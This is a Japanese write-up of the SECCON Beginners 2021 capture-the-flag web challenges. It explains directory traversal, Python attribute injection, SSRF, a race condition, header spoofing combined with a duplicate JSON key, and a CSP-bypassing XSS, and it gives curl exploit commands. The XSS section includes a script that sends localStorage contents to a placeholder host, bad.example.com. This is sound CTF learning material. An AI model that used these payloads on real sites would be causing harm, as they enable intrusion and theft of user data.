SECCON Beginners 2021 Writeup

PikaPikaYadonというチーム名で参加しました。
Webばかりやっています。

# web

## osoba
> 美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります！
> https://osoba.quals.beginners.seccon.jp/

念のため https://osoba.quals.beginners.seccon.jp/flag にアクセスしてもフラグは無い。

適当なリンクを開くと、クエリパラメータにパスらしきものが確認できる。
問題文から、サーバのルートディレクトリを掘ればいいと推測できるので、`https://osoba.quals.beginners.seccon.jp/?page=../../../../../../../../../../../../../../../../flag`などでディレクトリトラバーサルする。

`ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}`

## Werewolf
> I wish I could play as a werewolf...
>
> https://werewolf.quals.beginners.seccon.jp/

POSTした結果、WEREWOLFとなることが目標。

配布されている`app.py`ではWEREWOLFが抽選の対象から外れており、しかも`role`プロパティにsetterが無い状態となっている。
ユーザー入力をすべて`player.__dict__`に入力しているため、抽選の結果に関わらず入力で`WEREWOLF`を入れ込めばよい。

Pythonでは、プライベート変数の代替機能としてアンダースコア2つ`__`をアタマに着けたメンバ名は、クラスの外側からは`_<CLASSNAME>__<MEMBERNAME>`のようにしないとアクセスできない機能がある。
今回のプログラムでは抽選結果を`__role`に保持しているため、`_Player__role`に`WEREWOLF`が入るようPOSTしてやればよい。

```sh
curl -X POST -F '_Player__role=WEREWOLF' https://werewolf.quals.beginners.seccon.jp/
```

`ctf4b{there_are_so_many_hackers_among_us}`


## check_url
> Have you ever used curl ?
> https://check-url.quals.beginners.seccon.jp/

`url`パラメータに渡したurlにサーバが`curl`してくれるのでウマいことループバックアドレスを渡す。

- 127.0.0.1
- localhost

は使えないので別の方法を探す必要がある。
IPv6の`::1`を試してみるも失敗。

チームに助けを求めたところ、`0x7f000001`で行けたと教えてくれた。
要するに、10進表記の`127.0.0.1`を16進数表記したものらしい。

本当にありがとうございます。

`ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}`


## cant_use_db

> Can't use DB.
> I have so little money that I can't even buy the ingredients for ramen.
> 🍜
> https://cant-use-db.quals.beginners.seccon.jp/

少ない所持金額をごまかして麺2杯とスープを手に入れよう。
コードを見てみると、タイトルの通りDBを使わずユーザーごとに別のファイルでデータを保存している。

謎の`time.sleep`があった後に所持金が差し引かれるので、この時間内に短く発注することで要件を満たす買い物が出来る。
初期の所持金は20000、麺が10000、スープが20000で、それぞれ発注時に所持金よりも少なかった場合はじかれてしまう。
タブを複数開いた場合でもWalletは引き継がれる。

タブを3つ開き、それぞれのタブで
1. スープ
2. 麺
3. 麺
の順で素早く購入することで、全てを入手することが出来る。

`time.sleep`は実世界ではクレジットカードの決済などに対応している？生々しくてこわいですね。。。

`ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}`


## json

> 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
>
> https://json.quals.beginners.seccon.jp/

問題は2段階に分かれる。まずはIPアドレスによる制限をかいくぐり、リクエストの制限も突破する必要がある。

まずは素直にPOSTしてみると、IPアドレスが外だよ～と怒られる。
配布されているファイルを見ると、内部の別のサーバーにリダイレクトしており、これを利用してローカルからのリクエストであるかのように見せかければよさそうである。

`default.conf`を見ると、以下のような記述がある。

```nginx:default.conf
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for
```
この`$proxy_add_x_forewarded_for`という変数らしきものには、

- リクエストに`X-Forwarded-For`ヘッダが設定されていればその値
- でなければリクエスト元のIPアドレス

が代入されるらしいので、`curl`なら`-H 'X-Forwarded-For: 192.168.111.1'`などをやる。

すると、レスポンスが下のようになってうれしい。第一関門突破。

```json
{"error":"Invalid parameter."}
```

`api/main.go`を読むと、`{"id": 2}`な感じにするとflagがとれそうであるが、その前に立ちはだかる`bff/main.go`が要求をはじいてしまう。
goは静的な型付けの言語なので文字列として渡してみてもパースの際にバレてしまう。

ここからはよくわかっていないのだが、`{"id": 2, "id": 0}`みたいにキーをだぶらせた場合、無事にflagをとれた。

恐らく、パーサの仕様的に、`json.Unmarshal`は先にある値を、`jsonparser.GetInt`は後にある値を取ってくるようになっていためと考えられる。

同じパーサをつかおうね

最終的なコマンドは以下の通り。

```sh
curl -X POST -H 'X-Forwarded-For: 192.168.111.1' -d '{"id": 2, "id": 0}' 'https://json.quals.beginners.seccon.jp/'
```

`ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}`


## magic

> トリックを見破れますか？
>
> https://magic.quals.beginners.seccon.jp/

メモアプリの脆弱性を突くぞ

コードを見ると、`crawl.js`の中にflagに関する記述が見つかる。
また、`app.js`を読み進めていくと、`/report`で送られてきたURLに`crawl.js`が来てくれるとわかる。

`crawl.js`の挙動は次の通り。

1. adminとしてログインする。
2. ログイン後のメモ画面にflagを入力する。 (この時サーバーに送信はしない。)
1. ユーザーから送られてきたURLを踏む。

他にも以下の特徴がわかる。

- 発行されたトークンを含むURLを辿ることでユーザー名/パスワードの認証をパスできる機能がある。
- memoにはhtmlを埋め込ませることが出来る。
  - ただし、スクリプトの埋め込みは`Content-Security-Policy`ヘッダで制限されている。
  - スクリプトの実行は同一ドメイン内のコンテンツに限定される。
- memo入力欄への入力は、フォーカスが外れた際にLocal Storageに保存され、保持される。

以上より、

1. `localStorage`を抜くスクリプトを用意する
2. 1を頑張ってXSSできるようにする
3. `/report`でおくりつける

の手順で行けそうな気がしてくる。

1.についてはいつも通りという感じだが、問題なのが2番。

前述の通り`Content-Security-Policy`ヘッダのせいで`<script>alert()</script>`や`<img src="hoge" onerror="alert()">`などによるスクリプトの注入がしにくくなっている。`nonce`を使っていた場合などはこれを奪取する手口があるらしい[^1]が、今回は該当しない。

ここで格闘すること数時間。Web技術のセキュリティが憎くなります。

ユーザー入力できそうなところを見ていくと、memo以外にもmagic-linkのURL`https://magic.quals.beginners.seccon.jp/magic?token=...`でtokenが不正だった際の処理には`.ejs`ではなく、HTMLのエンティティを置換したほぼ生のデータを返していることがわかる。

置換されないよう`?token=`にスクリプトを与え、`magic`へのURLを`<script>`の`src`として与えてやればスクリプトを注入できそう。

例えば`https://magic.quals.beginners.seccon.jp/magic?token=alert()//`にアクセスしてみると、

```js
alert()// is invalid token.
```

となり、Javascriptとして評価できる。

XSSの転送先としてURLを与える際、`"`や`'`などはエスケープされてしまうため、 テンプレートリテラル<code>`</code>をつかうとイイと思った。

下記のようなコードをmemoとしてセーブする。

と、アクセスすると自動的に`localStorage`が送信されるようになる。

```html
<script src="/magic?token=fetch(`https://bad.example.com/?hoge=${localStorage.getItem(`memo`)}`)//"></script>
```

自分のmagic-linkを`/report`で送ってやるとadminが`localStorage`を教えてくれて嬉しい。

`ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}`

[^1]: https://techblog.securesky-tech.com/entry/2020/05/21/